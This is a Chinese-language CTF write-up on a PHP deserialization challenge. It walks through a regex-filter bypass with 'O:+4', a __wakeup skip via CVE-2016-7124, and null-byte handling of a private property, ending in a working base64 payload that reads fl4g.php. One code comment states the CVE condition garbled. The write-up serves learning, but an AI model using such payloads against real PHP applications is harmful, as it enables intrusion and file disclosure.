最近开始刷攻防世界的web题目,遇到一个比较有意思的题目。ctf小白大家勿喷
访问题目链接
是一段php代码
对代码进行初步审计 发现unserialize函数 可以确定是一个php反序列化的利用
由于刚开始学习php的反序列化 对php不是特别熟悉所以对代码进行逐行解析
<?php
class Demo {
private $file = 'index.php'; //设置了类的私有变量
public function __construct($file) { //实例化对象时将会被调用
$this->file = $file; //将对象的file属性的值设置为file变量
}
function __destruct() { //当对象被销毁时将会被调用
echo @highlight_file($this->file, true); //输出读取到的文件
}
function __wakeup() { //当进行反序列化操作时候 函数将会被调用
if ($this->file != 'index.php') {
//the secret is in the fl4g.php //将对象的file参数设置为index.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) { //get方法传参
$var = base64_decode($_GET['var']); //对获取到的参数var的值进行base64解码
if (preg_match('/[oc]:\d+:/i', $var)) { //正则表达式过滤 \d匹配任意的数字 /i表示匹配时不区分大小写 /[oc]匹配oc字符
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>
理一下构造pop链的思路
从参数传入的地方入手
- 进行了一个base64的解码 在传入参数的时候先对参数的值进行base64加密进行第一步的绕过。
- 进行了一个正则表达式的判断 匹配到任意长度的数字 或者oc字符都会被过滤 直接结束进程。
- 当正则的过滤被绕过之后 对传入的参数var的值进行反序列化处理
注意:此时__wakeup()函数会被自动调用 当其被调用时输出的文件就会被强制更改成 index.php 所以这里需要对这个函数进行绕过。
当对象销毁时也就是结束运行时 destruct函数会被调用输出文件当中的内容
第一次构造的pop链
?php
class Demo {
private $file = 'index.php'; //设置了类的私有变量
public function __construct($file) { //实例化对象时将会被调用
$this->file = $file; //将对象的file属性的值设置为file变量
}
function __destruct() { //当对象被销毁时将会被调用
echo @highlight_file($this->file, true); //输出读取到的文件
}
function __wakeup() { //当进行反序列化操作时候 函数将会被调用
if ($this->file != 'index.php') {
//the secret is in the fl4g.php //将对象的file参数设置为index.php
$this->file = 'index.php';
}
}
}
$a= new Demo('fl4g.php');//实例化对象 __construct函数将会被自动调用 fl4g.php 将会被赋值给$file变量
$c=serialize($a); //对a进行序列化操作
$c=str_replace('O:4', 'O:+4',$c); //通过添加+号绕过正则的过滤
$c=str_replace(':1:', ':2:',$c); //利用__wakeup()的CVE-2016-7124 在序列化的字符串当中当真实的属性个数大于真实的属性个数时 该函数不会执行
echo $c ;
$j=(base64_encode($c)); //对其进行base64编码
echo $j;
?>
得到的payload
但是通过get方法将payload提交给var变量并不能得到flag
后续百度了一下这里也有个坑:
对于private变量 进行序列化时会在类名和字段名上添加保护
前后均有空格
因此对于private属性在类名和字段名前均需要添加\0
当使用浏览器提交时需要在类名和字段名前添加%00
对pop链进行修改
完整的pop链
<?php
class Demo {
private $file = 'index.php'; //设置了类的私有变量
public function __construct($file) { //实例化对象时将会被调用
$this->file = $file; //将对象的file属性的值设置为file变量
}
function __destruct() { //当对象被销毁时将会被调用
echo @highlight_file($this->file, true); //输出读取到的文件
}
function __wakeup() { //当进行反序列化操作时候 函数将会被调用
if ($this->file != 'index.php') {
//the secret is in the fl4g.php //将对象的file参数设置为index.php
$this->file = 'index.php';
}
}
}
$a= new Demo('fl4g.php');//实例化对象 __construct函数将会被自动调用 fl4g.php 将会被赋值给$file变量
$c=serialize($a); //对a进行序列化操作
$c=str_replace('O:4', 'O:+4',$c); //通过添加+号绕过正则的过滤
$c=str_replace(':1:', ':2:',$c); //利用__wakeup()的CVE-2016-7124 在序列化的字符串当中当真实的属性个数大于真实的属性个数时 该函数不会执行
$c=str_replace(' ','%00',$c); //序列化私有类时 类名和字段名前会有空格 使用url传参时需要将空格替换成%00
echo $c;
$j=(base64_encode($c)); //对其进行base64编码
echo $j;
?>
得到payload
TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
使用get方法提交参数
得到flag